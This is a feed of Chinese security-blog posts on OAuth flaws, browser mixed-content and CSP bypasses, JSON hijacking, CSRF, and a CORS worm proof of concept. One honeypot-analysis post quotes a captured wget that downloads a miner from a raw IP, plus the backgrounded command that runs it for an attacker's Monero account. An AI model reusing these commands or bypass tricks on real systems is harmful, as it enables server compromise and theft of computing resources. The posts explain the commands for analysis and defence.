Quantcast
Channel: EVILCOS

[UPDATE]号称影响10亿App的OAuth2.0使用缺陷

0
0

说 OAuth2.0 漏洞/这个协议不安全的人,把头伸过来下,砖头准备好了。

Black Hat 的有关 Paper:

《OAuth User Profile Attack – How to Sign into One Billion Mobile App Accounts Effortlessly》

本质问题在于一些 App 在使用 OAuth2.0 协议时,(估计为了简单)使用的是 Implicit Flow 模式,然而并没严格按照协议的要求去实现,导致可能出现的劫持攻击。这并不是说 OAuth2.0 本身有漏洞或这个协议本身不安全,就好像两年多前的心脏出血漏洞,问题不在于 SSL 这个协议本身,而在于其某种实现方式(OpenSSL)有缺陷。一些媒体文的专业性一直是被诟病的,搞安全的人不要轻信媒体文。

结论与建议看 Paper 的倒数3、2页。

补充说明:

这种攻击的出现,只能说明相关开发文档没写清楚及 OAuth2.0 协议本身的实现上有缺陷(没做好应有的安全校验),这让我想起两年多前的 OAuth2.0 劫持缺陷,当时劫持的是目标网站(如知乎)的目标用户(如黄继新)的账号权限,配合了 CSRF,拿到黄继新的 Access Token,最终控制了他的账号。不过这个议题的问题不一样,可以认为是用你事先准备好的恶意账号去绑定目标 App 的目标用户的账号权限,既然是针对 App 的攻击,那辅助技巧就不大一样了(不像之前用 CSRF 等前端 Hack 技巧),所以我还在琢磨作者说的“Effortlessly”(不费力)是怎么个不费力呢?

欢迎讨论。


[UPDATE]2016/11/7

由于上面 Paper 提到了 Sina,我向微博安全团队的负责人要了相关细节(Paper 团队的研究确实很细致,数据证明方式也是耳目一新,这很难在工业界看到。由于漏洞的敏感性,这些细节暂时不做公布,可以说的是这些细节比上面公布的 Paper 要多得多)。这些细节验证了我上面的一些说法,真实利用上比起两年多前那种直接“偷” Access Token 的方式是要麻烦的,但我还是留个小心眼吧,很多时候漏洞是一回事,利用又是另外一回事,尤其是遇到猥琐流。

注:早年,我们称搞前端 Hack 的人为猥琐流,因为奇技淫巧确实太多,当年的很多奇技淫巧现在偶尔还能被看到拿出来重讲的,这个时代还在如火如荼发展呢:-)

OAuth 及其他类似的认证授权机制(注意认证和授权的区别)在理解上确实复杂,这导致如果没简洁完善的开发文档来参考+高人安全架构来指导,确实容易出问题,大问题…


记第10次印刷

0
0

《Web前端黑客技术揭秘》这本书2013.1月开售至今,已经第10次印刷,在安全类书籍中,这种成绩确实超出我们的意料。回头看看这一路记录的一些文字也是挺有意思的:

http://evilcos.me/?tag=book
还有本书官网http://web2hack.org/上的“消息列表”。

作为过来人,写书虽然是一件很有成就感的事,但是机会成本可能太高,而且真的很痛苦,除非你本身就是个写作爱好者。感谢所有的支持者。

书出版到现在已经快4年了,确实很多知识可以更新,至于本书的第二版是否会出,且看某人是否真的有足够勇气继续承受这种压力,当然某人的勇气多少也会拉我再次入那么点火坑。

哎…

关于浏览器混合内容的安全性

0
0

Seebug Paper之前收录了三篇文章有些关联性,分别是:

  1. 绕过混合内容警告 – 在安全的页面加载不安全的内
    http://paper.seebug.org/112/
  2. 检测本地文件躲避安全分析
    http://paper.seebug.org/87/
  3. 基于浏览器的指纹识别:影响和缓解措施
    http://paper.seebug.org/64/

有个关键点是:混合内容的安全性

这里提到的主要是协议的混合,如https/http/file/res/mhtml等,现代浏览器逐渐开始隔离这些协议,比如https下加载http的内容时,给出安全提示;再比如“修补”file/res/mhtml这些协议在http协议的网页里带来的安全问题,如本地文件探测(常见的是杀软探测)。

玩前端Hack的都知道,修补与绕过总是在博弈,而且浏览器们的修补是存在差异的,也就是可能出现浏览器安全差异。

很早以前,我在写https协议下的XSS exp时,就注意到:当载入http内容时,浏览器的安全提示。后来解决方案是采用DOM动态操作来绕过,这个技巧和第一篇文章里提的一样。为什么这样可以?这个关键点就是浏览器安全机制的触发机制,采用DOM动态操作时,这个浏览器安全机制并不会触发。我的理解是DOM的操作实在过于繁杂,为了性能平衡,许多浏览器安全机制并不会触发,而仅在页面加载时触发。当然,我也认为这种理解不总是成立,具体问题还得看场景分析。

这种特性能带来很多有意思的前端Hack技巧,比如AngularJS发布时,我就做了个有趣的安全测试(Bypass CSP),当时利用AngularJS丰富的前端异步加载机制,有些外域内容通过合法的异步加载再在本页面渲染解析,达到无视CSP策略的效果。

顺着这个关键思路,我们的绕过就不需要那么直接去面对对应的安全机制,而是采用规避方式:也就是想办法不触发某些我们不喜欢的安全机制,这是我们绕过的核心点。

还有,第二篇文章提到的window.open技巧,是一种好技巧,浏览器需要特别对待,否则这对于前端Hacker来说也是个非常好的“触发机制混沌区”。在我看来,浏览器对待window.open多少有些无奈,首先是历史原因导致还未摒弃,然后奇特的父子权限模型,及为了用户体验而允许点击事件下的不拦截弹窗,这还导致了一系列其它类别的安全问题,如钓鱼。

回到混合内容的安全性。现在及未来,不仅协议之间如此隔离,内容也一样,CSP策略正是为此而生。

在HTML5如日中天及前端框架百花齐放的现在,DOM里的博弈不会消减,可预见的是会更加激烈。虽然,这三篇文章都是上古时代的Hack延续了…

本文,手机上写的。先这样:-)

说说“当代 Web 的 JSON 劫持技巧”

0
0

当代 Web 的 JSON 劫持技巧
http://paper.seebug.org/130/

猥琐流的家伙居然在OWASP重出江湖而且加入了Burp Suite那家公司。这篇技巧核心是__proto__,可以理解为JavaScript曾经的prototype在ES6里的增强,当代浏览器基本都支持了这个新标准。这个跨域技巧很有意思的,不过目前实战利用上“暂时鸡肋”…

里面还有个亮点是UTF-16BE技巧,这个技巧除了注意字符集差异带来的安全问题之外,还应该注意下:浏览器对待MIME类型检查的态度差异…

重点来了,欢迎更多人投稿安全技术文章给Seebug Paper,公益性的:-)

投稿方式见:
http://paper.seebug.org/call-for-paper/

[PRE]CSRF攻击-进击的巨人

0
0

计划准备出一个PPT专门讲解CSRF里的各种奇技淫巧,除了那些老套的手法之外:

https://github.com/evilcos/papers
我公布的Papers里有个PPT是《CSRF攻击-苏醒的巨人》,可以参考。

还包括以前提的Flash CSRF/XSF等方式,细节可以温习去年我的Paper(隐蔽的战场—Flash Web攻击),希望Flash是日不落帝国,虽然现在快日落了,但是不影响我们的最后挣扎。

除了这些,当然会有新的玩意,比如JSON Hijacking就一直在进化。还有去年很火的WormHole,这是JSON Hijacking本地攻击的一种延伸,点击下这个试试:

http://evilcos.me/lab/pac.html

探测你本地是否用Shadowsocks,当然你即使用了也不一定会弹,毕竟我测试的端口仅仅是默认的8788(如果你不是这个端口,你可以改为这个端口试试)。

以前我说过:玩CSRF,最爽的是结合了Flash,无声无息…

最近在做路由器安全研究,以及昨晚做了个新型蠕虫的测试:

1

给我带来的结论是:Flash,你可以安息了,感谢HTML5,以后玩CSRF同样可以很优雅。

我为什么Demo这只蠕虫?因为这确实是个影响会很深远的安全问题。

在我过去两年做的《程序员与黑客》第一季与第二季的演讲,里面有个核心点就是:程序员与黑客思维的差异,导致一些类型的安全问题可以成为经久不衰的存在,甚至会随着程序员的进化而不断演变。比如HTML5/ES6这些前端玩意的风靡,必然会带来许多“超能力”的滥用,毕竟能成为黑客的程序员少之又少,对抗博弈一直微妙地存在。

按照这种思维以及我最近的一些实战,CSP的存在(以及HTTP那些安全的X-扩展协议头)不会是前端黑的噩梦。我们最大的敌人是我们自己,伟大领袖也说过这句话:-)

一种新型蠕虫:花瓣CORSBOT蠕虫

0
0

新年新气象,这个蠕虫我做了小范围测试,也提交了官方修复,小圈子里做了分享,这里正式对外公布下,出于研究而非破坏为目的,供大家参考。

IAMANEWBOTNAMEDCORSBOT
——-BOT PoC——-
http://evilcos.me/lab/IAMANEWBOTNAMEDCORSBOT.TXT

完整代码直接见上面这个链接即可。

里面需要特别注意的两个点:

  1. Conten-Type是JSON
  2. Origin是:huaban.com.al3rt.io,这个小技巧直接绕过花瓣的Origin判断

所以,蠕虫得以传播。

本质是:CORS(Cross-Origin Resource Sharing)的滥用导致,效果图:

最后,友情提示下:这个问题还是比较普遍的。脑洞怎么开,玩起来才会知道,不玩永远想不到:-)

蠕虫挖矿一例,无码

0
0

今天凌晨,我们的蜜网系统跳出了个有趣的字符串:

zaxa2aq@protonmail.com

ProtonMail!前段时间我们的分享(推荐安全且匿名的邮箱 ProtonMail)似乎暗示着某种巧合,这不得不引起我们的兴趣。意料之内,匿名是把双刃剑,剑的另一端,“匿名之恶”会让人性丑恶发挥到极致。

以前我说过,黑暗森林法则同样适用于这个网络空间:被发现即被干掉。不好意思,这次是我们“干掉”了对方。

上面这个字符串完整内容是:

(exec /var/tmp/.war/1 -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u zaxa2aq@protonmail.com -p x &> /dev/null &)

我简单解释下这条 Bash 命令:

1.
exec,负责执行后面的命令,细节用途自行查阅。

2.
/var/tmp/.war/1,这个文件由下面这条命令创建:
wget http://95.128.182.166/javascripts/minerd -O /var/tmp/.war/1

3.
1 == minerd

4.
minerd 之后的参数:
-a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u zaxa2aq@protonmail.com -p x
目测和比特币等这类货币的挖矿有关,因为:minergate.com 就是这样的邪恶挖矿大平台。合法存在。

5.
&> /dev/null
无视标准输出与错误输出。

6.
最后的 &,表示这条命令放到后台执行。

7.
最外层的小括号(),表示创建一个新的 Shell。

上面的7点解释,重点看第4点就好。

为了确定我们的“目测”,我们用我们唯一的官方邮箱“lant34m@protonmail.com”同样在 minergate.com 上注册了个账号。在这个平台深度体验一番,不得不感慨,挖矿的世界真是眼花缭乱,满地宝藏既视感。

这个平台上,我们发现下面这个挖矿说明链接:

https://minergate.com/altminers/cpuminer-multi-wolf

部分区域截图如下:

 

红框里的内容是:

minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u lant34m@protonmail.com -p x

对比下上面的第4点,这下确定了吧?另外,这个 minerd 本身还是开源的…你可以根据自己的特殊要求修改编译。

好,回到开头,这个蠕虫其实不是什么新鲜玩意,传播的主要方式是通过 Linux 服务器的弱口令及一些漏洞(比如:Redis 那个未授权访问缺陷)。

这个蠕虫感染一万台服务器,那么就有一万个挖矿节点…

别说运用什么 0day,就是用到一些上古时代的技术,我们也能在这个健壮又脆弱的网络空间里成为“有钱人”。

还好,我们不是坏人。

前端黑在线工具 XSS’OR

0
0

这是一个在线免费的前端黑工具,目前主要包含 3 大模块:

1. Encode/Decode

加解密模块,包含:前端黑相关的加解密,代码压缩、解压、美化、执行测试,字符集转换,哈希生成,等。

2. Codz

代码模块,包含:CSRF 请求代码生成,AJAX 请求代码生成,XSS 攻击矢量,XSS 攻击 Payload,等。

3. Probe

探针模块,为了平衡,这是一个最基础的探针,且每个 IP 每天都可以生成一个唯一探针,使用者可以用这个探针发起攻击测试(如:XSS、钓鱼攻击等),探针可以获取目标用户的基本信息,使用者还可以动态植入更多的命令(JavaScript Codz)进行“远控”测试。

一些用户体验与隐私考虑:

XSS’OR,即使你浏览器不小心关掉或奔溃,你的记录也不会丢,因为相关记录都缓存到了你的浏览器本地。服务器不会存储你的任何隐私,除了 Probe 的结果记录(仅是结果记录)会临时性缓存,这是因为设计考虑,但每天0点都会自动清除。

放心使用吧!地址:xssor.io

如果你有好的想法与贡献,我们采纳后,会在 XSS’OR 致谢榜上感谢你。


XSS’OR 开源,Hack with JavaScript

0
0

XSS’OR 开源了。采用 BSD 开源协议,很宽松,不限制传播与商业化,留下作者版权就好。在下面这个 GitHub 页面上,你不仅可以得到 XSS’OR 的源码,还可以了解如何自己搭建一个。

https://github.com/evilcos/xssor2

简单说明下:

上线之后(xssor.io),使用频率还不错。源码是 Python 及 JavaScript,采用了 Django、Bootstrap、jQuery 三个优秀框架,可以完整覆盖前后端,基于这三个框架,开发速度非常的快,整个过程消耗我不到一周时间,其中一半耗时在软件设计上。感兴趣这个过程的,可以读这套源码,很简洁,在开发过程中我特意去掉数据库(因为我觉得我这个应用场景其实不需要数据库)。

既然开源了,后续应该会和新组建的 ATToT 安全团队一起去完善它。

XSS’OR 信息量不小,如果你也玩前端黑,好好玩^_^。

WordPress防火墙

0
0

用了很久了,推荐下这个:

Wordfence Security

细节自己体验吧,说点别的。

WordPress生态这么多年一直没变,安全生态也如此。如此开放的生态,短板都给了那些插件,插件一旦出个安全问题危害是很直接的。WordPress这种生态设计是没有所谓的安全沙箱。

插件的安全问题交给了插件自己解决,于是第三方安全插件也在发展。

但是有个尴尬的大势所趋,Blog 这种大生态现在越来越尴尬,自己搭建 Blog 已经不像曾经那样时髦。大环境变了,这种第三方安全插件的收益估计也会很尴尬。WordPress 这个全球最流行的 Blog 系统,有个非常重要的连接设计是 RSS,可惜越来越少人在意 RSS,每一个 Blog 都犹如孤岛一般存在,不再热闹。

这个时代发展实在太快,信息大爆炸如此,谁会在意这座孤岛?

都已经是孤岛,但别荒废长草,安全这道护城河,做好不难。





Latest Images